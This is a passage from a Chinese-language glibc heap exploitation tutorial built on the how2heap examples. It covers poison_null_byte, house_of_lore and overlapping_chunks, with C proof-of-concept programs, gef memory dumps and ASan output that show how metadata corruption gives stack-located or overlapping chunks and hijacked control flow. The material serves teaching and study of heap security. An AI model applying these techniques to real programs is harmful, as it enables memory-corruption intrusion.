0x6030e0: 0x4141414141414141 0x4141414141414141
|
||||
0x6030f0: 0x4141414141414141 0x4141414141414141
|
||||
0x603100: 0x0000000000000000 0x0000000000000021 <-- unsorted bin
|
||||
0x603110: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
|
||||
0x603120: 0x0000000000000020 0x0000000000000000 <-- fake c.prev_size
|
||||
0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c
|
||||
0x603140: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ heap bins unsorted
|
||||
[ Unsorted Bin for arena 'main_arena' ]
|
||||
[+] unsorted_bins[0]: fw=0x603100, bk=0x603100
|
||||
→ Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)
|
||||
```
|
||||
这里有个很有趣的东西,分配堆块后,发生变化的是 fake c.prev\_size,而不是 c.prev_size。所以 chunk c 依然认为 chunk b 的地方有一个大小为 0x110 的 free chunk。但其实这片内存已经被分配给了 chunk b1。
|
||||
|
||||
接下来是见证奇迹的时刻,我们知道,两个相邻的 small chunk 被释放后会被合并在一起。首先释放 chunk b1,伪造出 fake chunk b 是 free chunk 的样子。然后释放 chunk c,这时程序会发现 chunk c 的前一个 chunk 是一个 free chunk,然后就将它们合并在了一起,并从 unsorted bin 中取出来合并进了 top chunk。可怜的 chunk 2 位于 chunk b1 和 chunk c 之间,被直接无视了,现在 malloc 认为这整块区域都是未分配的,新的 top chunk 指针已经说明了一切。
|
||||
```
|
||||
gef➤ x/42gx a-0x10
|
||||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||
0x603010: 0x0000000000000000 0x0000000000000000
|
||||
0x603020: 0x0000000000000000 0x0000000000020fe1 <-- top chunk
|
||||
0x603030: 0x0000000000603100 0x00007ffff7dd1b78
|
||||
0x603040: 0x4141414141414141 0x4141414141414141
|
||||
0x603050: 0x4141414141414141 0x4141414141414141
|
||||
0x603060: 0x4141414141414141 0x4141414141414141
|
||||
0x603070: 0x4141414141414141 0x4141414141414141
|
||||
0x603080: 0x4141414141414141 0x4141414141414141
|
||||
0x603090: 0x4141414141414141 0x4141414141414141
|
||||
0x6030a0: 0x4141414141414141 0x4141414141414141
|
||||
0x6030b0: 0x0000000000000090 0x0000000000000050 <-- chunk b2 <-- 'victim' chunk
|
||||
0x6030c0: 0x4141414141414141 0x4141414141414141
|
||||
0x6030d0: 0x4141414141414141 0x4141414141414141
|
||||
0x6030e0: 0x4141414141414141 0x4141414141414141
|
||||
0x6030f0: 0x4141414141414141 0x4141414141414141
|
||||
0x603100: 0x0000000000000000 0x0000000000000021 <-- unsorted bin
|
||||
0x603110: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
|
||||
0x603120: 0x0000000000000020 0x0000000000000000
|
||||
0x603130: 0x0000000000000110 0x0000000000000090
|
||||
0x603140: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ heap bins unsorted
|
||||
[ Unsorted Bin for arena 'main_arena' ]
|
||||
[+] unsorted_bins[0]: fw=0x603100, bk=0x603100
|
||||
→ Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)
|
||||
```
|
||||
chunk 合并的过程如下,首先该 chunk 与前一个 chunk 合并,然后检查下一个 chunk 是否为 top chunk,如果不是,将合并后的 chunk 放回 unsorted bin 中,否则,合并进 top chunk:
|
||||
```c
|
||||
/* consolidate backward */
|
||||
if (!prev_inuse(p)) {
|
||||
prevsize = p->prev_size;
|
||||
size += prevsize;
|
||||
p = chunk_at_offset(p, -((long) prevsize));
|
||||
unlink(av, p, bck, fwd);
|
||||
}
|
||||
|
||||
if (nextchunk != av->top) {
|
||||
/*
|
||||
Place the chunk in unsorted chunk list. Chunks are
|
||||
not placed into regular bins until after they have
|
||||
been given one chance to be used in malloc.
|
||||
*/
|
||||
[...]
|
||||
}
|
||||
|
||||
/*
|
||||
If the chunk borders the current high end of memory,
|
||||
consolidate into top
|
||||
*/
|
||||
|
||||
else {
|
||||
size += nextsize;
|
||||
set_head(p, size | PREV_INUSE);
|
||||
av->top = p;
|
||||
check_chunk(av, p);
|
||||
}
|
||||
```
|
||||
|
||||
接下来,申请一块大空间,大到可以把 chunk b2 包含进来,这样 chunk b2 就完全被我们控制了。
|
||||
```
|
||||
gef➤ x/42gx a-0x10
|
||||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||
0x603010: 0x0000000000000000 0x0000000000000000
|
||||
0x603020: 0x0000000000000000 0x0000000000000121 <-- chunk d
|
||||
0x603030: 0x4242424242424242 0x4242424242424242
|
||||
0x603040: 0x4242424242424242 0x4242424242424242
|
||||
0x603050: 0x4242424242424242 0x4242424242424242
|
||||
0x603060: 0x4242424242424242 0x4242424242424242
|
||||
0x603070: 0x4242424242424242 0x4242424242424242
|
||||
0x603080: 0x4242424242424242 0x4242424242424242
|
||||
0x603090: 0x4242424242424242 0x4242424242424242
|
||||
0x6030a0: 0x4242424242424242 0x4242424242424242
|
||||
0x6030b0: 0x4242424242424242 0x4242424242424242 <-- chunk b2 <-- 'victim' chunk
|
||||
0x6030c0: 0x4242424242424242 0x4242424242424242
|
||||
0x6030d0: 0x4242424242424242 0x4242424242424242
|
||||
0x6030e0: 0x4141414141414141 0x4141414141414141
|
||||
0x6030f0: 0x4141414141414141 0x4141414141414141
|
||||
0x603100: 0x0000000000000000 0x0000000000000021 <-- small bins
|
||||
0x603110: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 <-- fd, bk pointer
|
||||
0x603120: 0x0000000000000020 0x0000000000000000
|
||||
0x603130: 0x0000000000000110 0x0000000000000090
|
||||
0x603140: 0x0000000000000000 0x0000000000020ec1 <-- top chunk
|
||||
gef➤ heap bins small
|
||||
[ Small Bins for arena 'main_arena' ]
|
||||
[+] small_bins[1]: fw=0x603100, bk=0x603100
|
||||
→ Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)
|
||||
```
|
||||
还有个事情值得注意,在分配 chunk d 时,由于在 unsorted bin 中没有找到适合的 chunk,malloc 就将 unsorted bin 中的 chunk 都整理回各自的 bins 中了,这里就是 small bins。
|
||||
|
||||
最后,继续看 libc-2.26 上的情况,还是一样的,处理好 tchache 就可以了,把两种大小的 tcache bin 都占满。
|
||||
|
||||
heap-buffer-overflow,但不知道为什么,加了内存检测参数后,real size 只能是正常的 0x10 了。
|
||||
```
|
||||
$ gcc -fsanitize=address -g poison_null_byte.c
|
||||
$ ./a.out
|
||||
We allocate 0x10 bytes for 'a': 0x60200000eff0
|
||||
'real' size of 'a': 0x10
|
||||
b: 0x611000009f00
|
||||
c: 0x60c00000bf80
|
||||
=================================================================
|
||||
==2369==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000009ef8 at pc 0x000000400be0 bp 0x7ffe7826e9a0 sp 0x7ffe7826e990
|
||||
READ of size 8 at 0x611000009ef8 thread T0
|
||||
#0 0x400bdf in main /home/firmy/how2heap/poison_null_byte.c:22
|
||||
#1 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
|
||||
#2 0x400978 in _start (/home/firmy/how2heap/a.out+0x400978)
|
||||
|
||||
0x611000009ef8 is located 8 bytes to the left of 256-byte region [0x611000009f00,0x61100000a000)
|
||||
allocated by thread T0 here:
|
||||
#0 0x7f47d9425602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
|
||||
#1 0x400af1 in main /home/firmy/how2heap/poison_null_byte.c:15
|
||||
#2 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
|
||||
```
|
||||
|
||||
#### house_of_lore
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
|
||||
void jackpot(){ puts("Nice jump d00d"); exit(0); }
|
||||
|
||||
int main() {
|
||||
intptr_t *victim = malloc(0x80);
|
||||
memset(victim, 'A', 0x80);
|
||||
void *p5 = malloc(0x10);
|
||||
memset(p5, 'A', 0x10);
|
||||
intptr_t *victim_chunk = victim - 2;
|
||||
fprintf(stderr, "Allocated the victim (small) chunk: %p\n", victim);
|
||||
|
||||
intptr_t* stack_buffer_1[4] = {0};
|
||||
intptr_t* stack_buffer_2[3] = {0};
|
||||
stack_buffer_1[0] = 0;
|
||||
stack_buffer_1[2] = victim_chunk;
|
||||
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
|
||||
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
|
||||
fprintf(stderr, "stack_buffer_1: %p\n", (void*)stack_buffer_1);
|
||||
fprintf(stderr, "stack_buffer_2: %p\n\n", (void*)stack_buffer_2);
|
||||
|
||||
free((void*)victim);
|
||||
fprintf(stderr, "Freeing the victim chunk %p, it will be inserted in the unsorted bin\n", victim);
|
||||
fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
|
||||
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
|
||||
|
||||
void *p2 = malloc(0x100);
|
||||
fprintf(stderr, "Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: %p\n", p2);
|
||||
fprintf(stderr, "The victim chunk %p will be inserted in front of the SmallBin\n", victim);
|
||||
fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
|
||||
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
|
||||
|
||||
victim[1] = (intptr_t)stack_buffer_1;
|
||||
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
|
||||
|
||||
void *p3 = malloc(0x40);
|
||||
char *p4 = malloc(0x80);
|
||||
memset(p4, 'A', 0x10);
|
||||
fprintf(stderr, "This last malloc should return a chunk at the position injected in bin->bk: %p\n", p4);
|
||||
fprintf(stderr, "The fd pointer of stack_buffer_2 has changed: %p\n\n", stack_buffer_2[2]);
|
||||
|
||||
intptr_t sc = (intptr_t)jackpot;
|
||||
memcpy((p4+40), &sc, 8);
|
||||
}
|
||||
```
|
||||
```
|
||||
$ gcc -g house_of_lore.c
|
||||
$ ./a.out
|
||||
Allocated the victim (small) chunk: 0x1b2e010
|
||||
stack_buffer_1: 0x7ffe5c570350
|
||||
stack_buffer_2: 0x7ffe5c570330
|
||||
|
||||
Freeing the victim chunk 0x1b2e010, it will be inserted in the unsorted bin
|
||||
victim->fd: 0x7f239d4c9b78
|
||||
victim->bk: 0x7f239d4c9b78
|
||||
|
||||
Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: 0x1b2e0c0
|
||||
The victim chunk 0x1b2e010 will be inserted in front of the SmallBin
|
||||
victim->fd: 0x7f239d4c9bf8
|
||||
victim->bk: 0x7f239d4c9bf8
|
||||
|
||||
Now emulating a vulnerability that can overwrite the victim->bk pointer
|
||||
This last malloc should return a chunk at the position injected in bin->bk: 0x7ffe5c570360
|
||||
The fd pointer of stack_buffer_2 has changed: 0x7f239d4c9bf8
|
||||
|
||||
Nice jump d00d
|
||||
```
|
||||
在前面的技术中,我们已经知道怎样去伪造一个 fake chunk,接下来,我们要尝试伪造一条 small bins 链。
|
||||
|
||||
首先创建两个 chunk,第一个是我们的 victim chunk,请确保它是一个 small chunk,第二个随意,只是为了确保在 free 时 victim chunk 不会被合并进 top chunk 里。然后,在栈上伪造两个 fake chunk,让 fake chunk 1 的 fd 指向 victim chunk,bk 指向 fake chunk 2;fake chunk 2 的 fd 指向 fake chunk 1,这样一个 small bin 链就差不多了:
|
||||
```
|
||||
gef➤ x/26gx victim-2
|
||||
0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk
|
||||
0x603010: 0x4141414141414141 0x4141414141414141
|
||||
0x603020: 0x4141414141414141 0x4141414141414141
|
||||
0x603030: 0x4141414141414141 0x4141414141414141
|
||||
0x603040: 0x4141414141414141 0x4141414141414141
|
||||
0x603050: 0x4141414141414141 0x4141414141414141
|
||||
0x603060: 0x4141414141414141 0x4141414141414141
|
||||
0x603070: 0x4141414141414141 0x4141414141414141
|
||||
0x603080: 0x4141414141414141 0x4141414141414141
|
||||
0x603090: 0x0000000000000000 0x0000000000000021 <-- chunk p5
|
||||
0x6030a0: 0x4141414141414141 0x4141414141414141
|
||||
0x6030b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk
|
||||
0x6030c0: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/10gx &stack_buffer_2
|
||||
0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2
|
||||
0x7fffffffdc40: 0x00007fffffffdc50 0x0000000000400aed <-- fd->fake chunk 1
|
||||
0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- fake chunk 1
|
||||
0x7fffffffdc60: 0x0000000000603000 0x00007fffffffdc30 <-- fd->victim chunk, bk->fake chunk 2
|
||||
0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00
|
||||
```
|
||||
molloc 中对于 small bin 链表的检查是这样的:
|
||||
```c
|
||||
[...]
|
||||
|
||||
else
|
||||
{
|
||||
bck = victim->bk;
|
||||
if (__glibc_unlikely (bck->fd != victim))
|
||||
{
|
||||
errstr = "malloc(): smallbin double linked list corrupted";
|
||||
goto errout;
|
||||
}
|
||||
set_inuse_bit_at_offset (victim, nb);
|
||||
bin->bk = bck;
|
||||
bck->fd = bin;
|
||||
|
||||
[...]
|
||||
```
|
||||
|
||||
接下来释放掉 victim chunk,它会被放到 unsoted bin 中,且 fd/bk 均指向 unsorted bin 的头部:
|
||||
```
|
||||
gef➤ x/26gx victim-2
|
||||
0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk [be freed]
|
||||
0x603010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
|
||||
0x603020: 0x4141414141414141 0x4141414141414141
|
||||
0x603030: 0x4141414141414141 0x4141414141414141
|
||||
0x603040: 0x4141414141414141 0x4141414141414141
|
||||
0x603050: 0x4141414141414141 0x4141414141414141
|
||||
0x603060: 0x4141414141414141 0x4141414141414141
|
||||
0x603070: 0x4141414141414141 0x4141414141414141
|
||||
0x603080: 0x4141414141414141 0x4141414141414141
|
||||
0x603090: 0x0000000000000090 0x0000000000000020 <-- chunk p5
|
||||
0x6030a0: 0x4141414141414141 0x4141414141414141
|
||||
0x6030b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk
|
||||
0x6030c0: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ heap bins unsorted
|
||||
[ Unsorted Bin for arena 'main_arena' ]
|
||||
[+] unsorted_bins[0]: fw=0x603000, bk=0x603000
|
||||
→ Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE)
|
||||
```
|
||||
|
||||
这时,申请一块大的 chunk,只需要大到让 malloc 在 unsorted bin 中找不到合适的就可以了。这样原本在 unsorted bin 中的 chunk,会被整理回各自的所属的 bins 中,这里就是 small bins:
|
||||
```
|
||||
gef➤ heap bins small
|
||||
[ Small Bins for arena 'main_arena' ]
|
||||
[+] small_bins[8]: fw=0x603000, bk=0x603000
|
||||
→ Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE)
|
||||
```
|
||||
|
||||
接下来是最关键的一步,假设存在一个漏洞,可以让我们修改 victim chunk 的 bk 指针。那么就修改 bk 让它指向我们在栈上布置的 fake small bin:
|
||||
```
|
||||
gef➤ x/26gx victim-2
|
||||
0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk [be freed]
|
||||
0x603010: 0x00007ffff7dd1bf8 0x00007fffffffdc50 <-- bk->fake chunk 1
|
||||
0x603020: 0x4141414141414141 0x4141414141414141
|
||||
0x603030: 0x4141414141414141 0x4141414141414141
|
||||
0x603040: 0x4141414141414141 0x4141414141414141
|
||||
0x603050: 0x4141414141414141 0x4141414141414141
|
||||
0x603060: 0x4141414141414141 0x4141414141414141
|
||||
0x603070: 0x4141414141414141 0x4141414141414141
|
||||
0x603080: 0x4141414141414141 0x4141414141414141
|
||||
0x603090: 0x0000000000000090 0x0000000000000020 <-- chunk p5
|
||||
0x6030a0: 0x4141414141414141 0x4141414141414141
|
||||
0x6030b0: 0x0000000000000000 0x0000000000000111 <-- chunk p2
|
||||
0x6030c0: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/10gx &stack_buffer_2
|
||||
0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2
|
||||
0x7fffffffdc40: 0x00007fffffffdc50 0x0000000000400aed <-- fd->fake chunk 1
|
||||
0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- fake chunk 1
|
||||
0x7fffffffdc60: 0x0000000000603000 0x00007fffffffdc30 <-- fd->victim chunk, bk->fake chunk 2
|
||||
0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00
|
||||
```
|
||||
我们知道 small bins 是先进后出的,节点的增加发生在链表头部,而删除发生在尾部。这时整条链是这样的:
|
||||
```
|
||||
HEAD(undefined) <-> fake chunk 2 <-> fake chunk 1 <-> victim chunk <-> TAIL
|
||||
|
||||
fd: ->
|
||||
bk: <-
|
||||
```
|
||||
fake chunk 2 的 bk 指向了一个未定义的地址,如果能通过内存泄露等手段,拿到 HEAD 的地址并填进去,整条链就闭合了。当然这里完全没有必要这么做。
|
||||
|
||||
接下来的第一个 malloc,会返回 victim chunk 的地址,如果 malloc 的大小正好等于 victim chunk 的大小,那么情况会简单一点。但是这里我们不这样做,malloc 一个小一点的地址,可以看到,malloc 从 small bin 里取出了末尾的 victim chunk,切了一块返回给 chunk p3,然后把剩下的部分放回到了 unsorted bin。同时 small bin 变成了这样:
|
||||
```
|
||||
HEAD(undefined) <-> fake chunk 2 <-> fake chunk 1 <-> TAIL
|
||||
```
|
||||
```
|
||||
gef➤ x/26gx victim-2
|
||||
0x603000: 0x0000000000000000 0x0000000000000051 <-- chunk p3
|
||||
0x603010: 0x00007ffff7dd1bf8 0x00007fffffffdc50
|
||||
0x603020: 0x4141414141414141 0x4141414141414141
|
||||
0x603030: 0x4141414141414141 0x4141414141414141
|
||||
0x603040: 0x4141414141414141 0x4141414141414141
|
||||
0x603050: 0x4141414141414141 0x0000000000000041 <-- unsorted bin
|
||||
0x603060: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
|
||||
0x603070: 0x4141414141414141 0x4141414141414141
|
||||
0x603080: 0x4141414141414141 0x4141414141414141
|
||||
0x603090: 0x0000000000000040 0x0000000000000020 <-- chunk p5
|
||||
0x6030a0: 0x4141414141414141 0x4141414141414141
|
||||
0x6030b0: 0x0000000000000000 0x0000000000000111 <-- chunk p2
|
||||
0x6030c0: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/10gx &stack_buffer_2
|
||||
0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2
|
||||
0x7fffffffdc40: 0x00007fffffffdc50 0x0000000000400aed <-- fd->fake chunk 1
|
||||
0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- fake chunk 1
|
||||
0x7fffffffdc60: 0x00007ffff7dd1bf8 0x00007fffffffdc30 <-- fd->TAIL, bk->fake chunk 2
|
||||
0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00
|
||||
gef➤ heap bins unsorted
|
||||
[ Unsorted Bin for arena 'main_arena' ]
|
||||
[+] unsorted_bins[0]: fw=0x603050, bk=0x603050
|
||||
→ Chunk(addr=0x603060, size=0x40, flags=PREV_INUSE)
|
||||
```
|
||||
最后,再次 malloc 将返回 fake chunk 1 的地址,地址在栈上且我们能够控制。同时 small bin 变成这样:
|
||||
```
|
||||
HEAD(undefined) <-> fake chunk 2 <-> TAIL
|
||||
```
|
||||
```
|
||||
gef➤ x/10gx &stack_buffer_2
|
||||
0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2
|
||||
0x7fffffffdc40: 0x00007ffff7dd1bf8 0x0000000000400aed <-- fd->TAIL
|
||||
0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- chunk 4
|
||||
0x7fffffffdc60: 0x4141414141414141 0x4141414141414141
|
||||
0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00
|
||||
```
|
||||
于是我们就成功地骗过了 malloc 在栈上分配了一个 chunk。
|
||||
|
||||
最后再想一下,其实最初的 victim chunk 使用 fast chunk 也是可以的,其释放后虽然是被加入到 fast bins 中,而不是 unsorted bin,但 malloc 之后,也会被整理到 small bins 里。自行尝试吧。
|
||||
|
||||
heap-use-after-free,所以上面我们用于修改 bk 指针的漏洞,应该就是一个 UAF 吧,当然溢出也是可以的:
|
||||
```
|
||||
$ gcc -fsanitize=address -g house_of_lore.c
|
||||
$ ./a.out
|
||||
Allocated the victim (small) chunk: 0x60c00000bf80
|
||||
stack_buffer_1: 0x7ffd1fbc5cd0
|
||||
stack_buffer_2: 0x7ffd1fbc5c90
|
||||
|
||||
Freeing the victim chunk 0x60c00000bf80, it will be inserted in the unsorted bin
|
||||
=================================================================
|
||||
==6034==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c00000bf80 at pc 0x000000400eec bp 0x7ffd1fbc5bf0 sp 0x7ffd1fbc5be0
|
||||
READ of size 8 at 0x60c00000bf80 thread T0
|
||||
#0 0x400eeb in main /home/firmy/how2heap/house_of_lore.c:27
|
||||
#1 0x7febee33c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
|
||||
#2 0x400b38 in _start (/home/firmy/how2heap/a.out+0x400b38)
|
||||
```
|
||||
|
||||
#### overlapping_chunks
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
|
||||
int main() {
|
||||
intptr_t *p1,*p2,*p3,*p4;
|
||||
|
||||
p1 = malloc(0x90 - 8);
|
||||
p2 = malloc(0x90 - 8);
|
||||
p3 = malloc(0x80 - 8);
|
||||
memset(p1, 'A', 0x90 - 8);
|
||||
memset(p2, 'A', 0x90 - 8);
|
||||
memset(p3, 'A', 0x80 - 8);
|
||||
fprintf(stderr, "Now we allocate 3 chunks on the heap\n");
|
||||
fprintf(stderr, "p1=%p\np2=%p\np3=%p\n\n", p1, p2, p3);
|
||||
|
||||
free(p2);
|
||||
fprintf(stderr, "Freeing the chunk p2\n");
|
||||
|
||||
int evil_chunk_size = 0x111;
|
||||
int evil_region_size = 0x110 - 8;
|
||||
*(p2-1) = evil_chunk_size; // Overwriting the "size" field of chunk p2
|
||||
fprintf(stderr, "Emulating an overflow that can overwrite the size of the chunk p2.\n\n");
|
||||
|
||||
p4 = malloc(evil_region_size);
|
||||
fprintf(stderr, "p4: %p ~ %p\n", p4, p4+evil_region_size);
|
||||
fprintf(stderr, "p3: %p ~ %p\n", p3, p3+0x80);
|
||||
|
||||
fprintf(stderr, "\nIf we memset(p4, 'B', 0xd0), we have:\n");
|
||||
memset(p4, 'B', 0xd0);
|
||||
fprintf(stderr, "p4 = %s\n", (char *)p4);
|
||||
fprintf(stderr, "p3 = %s\n", (char *)p3);
|
||||
|
||||
fprintf(stderr, "\nIf we memset(p3, 'C', 0x50), we have:\n");
|
||||
memset(p3, 'C', 0x50);
|
||||
fprintf(stderr, "p4 = %s\n", (char *)p4);
|
||||
fprintf(stderr, "p3 = %s\n", (char *)p3);
|
||||
}
|
||||
```
|
||||
```
|
||||
$ gcc -g overlapping_chunks.c
|
||||
$ ./a.out
|
||||
Now we allocate 3 chunks on the heap
|
||||
p1=0x1e2b010
|
||||
p2=0x1e2b0a0
|
||||
p3=0x1e2b130
|
||||
|
||||
Freeing the chunk p2
|
||||
Emulating an overflow that can overwrite the size of the chunk p2.
|
||||
|
||||
p4: 0x1e2b0a0 ~ 0x1e2b8e0
|
||||
p3: 0x1e2b130 ~ 0x1e2b530
|
||||
|
||||
If we memset(p4, 'B', 0xd0), we have:
|
||||
p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
|
||||
p3 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
|
||||
|
||||
If we memset(p3, 'C', 0x50), we have:
|
||||
p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
|
||||
p3 = CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
|
||||
```
|
||||
这个比较简单,就是堆块重叠的问题。通过一个溢出漏洞,改写 unsorted bin 中空闲堆块的 size,改变下一次 malloc 可以返回的堆块大小。
|
||||
|
||||
首先分配三个堆块,然后释放掉中间的一个:
|
||||
```
|
||||
gef➤ x/60gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1
|
||||
0x602010: 0x4141414141414141 0x4141414141414141
|
||||
0x602020: 0x4141414141414141 0x4141414141414141
|
||||
0x602030: 0x4141414141414141 0x4141414141414141
|
||||
0x602040: 0x4141414141414141 0x4141414141414141
|
||||
0x602050: 0x4141414141414141 0x4141414141414141
|
||||
0x602060: 0x4141414141414141 0x4141414141414141
|
||||
0x602070: 0x4141414141414141 0x4141414141414141
|
||||
0x602080: 0x4141414141414141 0x4141414141414141
|
||||
0x602090: 0x4141414141414141 0x0000000000000091 <-- chunk 2 [be freed]
|
||||
0x6020a0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
|
||||
0x6020b0: 0x4141414141414141 0x4141414141414141
|
||||
0x6020c0: 0x4141414141414141 0x4141414141414141
|
||||
0x6020d0: 0x4141414141414141 0x4141414141414141
|
||||
0x6020e0: 0x4141414141414141 0x4141414141414141
|
||||
0x6020f0: 0x4141414141414141 0x4141414141414141
|
||||
0x602100: 0x4141414141414141 0x4141414141414141
|
||||
0x602110: 0x4141414141414141 0x4141414141414141
|
||||
0x602120: 0x0000000000000090 0x0000000000000080 <-- chunk 3
|
||||
0x602130: 0x4141414141414141 0x4141414141414141
|
||||
0x602140: 0x4141414141414141 0x4141414141414141
|
||||
0x602150: 0x4141414141414141 0x4141414141414141
|
||||
0x602160: 0x4141414141414141 0x4141414141414141
|
||||
0x602170: 0x4141414141414141 0x4141414141414141
|
||||
0x602180: 0x4141414141414141 0x4141414141414141
|
||||
0x602190: 0x4141414141414141 0x4141414141414141
|
||||
0x6021a0: 0x4141414141414141 0x0000000000020e61 <-- top chunk
|
||||
0x6021b0: 0x0000000000000000 0x0000000000000000
|
||||
0x6021c0: 0x0000000000000000 0x0000000000000000
|
||||
0x6021d0: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ heap bins unsorted
|
||||
[ Unsorted Bin for arena 'main_arena' ]
|
||||
[+] unsorted_bins[0]: fw=0x602090, bk=0x602090
|
||||
→ Chunk(addr=0x6020a0, size=0x90, flags=PREV_INUSE)
|
||||
```
|
||||
chunk 2 被放到了 unsorted bin 中,其 size 值为 0x90。
|
||||
|
||||
接下来,假设我们有一个溢出漏洞,可以改写 chunk 2 的 size 值,比如这里我们将其改为 0x111,也就是原本 chunk 2 和 chunk 3 的大小相加,最后一位是 1 表示 chunk 1 是在使用的,其实有没有都无所谓。
|
||||
```
|
||||
gef➤ heap bins unsorted
|
||||
[ Unsorted Bin for arena 'main_arena' ]
|
||||
[+] unsorted_bins[0]: fw=0x602090, bk=0x602090
|
||||
→ Chunk(addr=0x6020a0, size=0x110, flags=PREV_INUSE)
|
||||
```
|
||||
这时 unsorted bin 中的数据也更改了。
|
||||
|
||||
接下来 malloc 一个大小的等于 chunk 2 和 chunk 3 之和的 chunk 4,这会将 chunk 2 和 chunk 3 都包含进来:
|
||||
```
|
||||
gef➤ x/60gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1
|
||||
0x602010: 0x4141414141414141 0x4141414141414141
|
||||
0x602020: 0x4141414141414141 0x4141414141414141
|
||||
0x602030: 0x4141414141414141 0x4141414141414141
|
||||
0x602040: 0x4141414141414141 0x4141414141414141
|
||||
0x602050: 0x4141414141414141 0x4141414141414141
|
||||
0x602060: 0x4141414141414141 0x4141414141414141
|
||||
0x602070: 0x4141414141414141 0x4141414141414141
|
||||
0x602080: 0x4141414141414141 0x4141414141414141
|
||||
0x602090: 0x4141414141414141 0x0000000000000111 <-- chunk 4
|
||||
0x6020a0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
|
||||
0x6020b0: 0x4141414141414141 0x4141414141414141
|
||||
0x6020c0: 0x4141414141414141 0x4141414141414141
|
||||
0x6020d0: 0x4141414141414141 0x4141414141414141
|
||||
0x6020e0: 0x4141414141414141 0x4141414141414141
|
||||
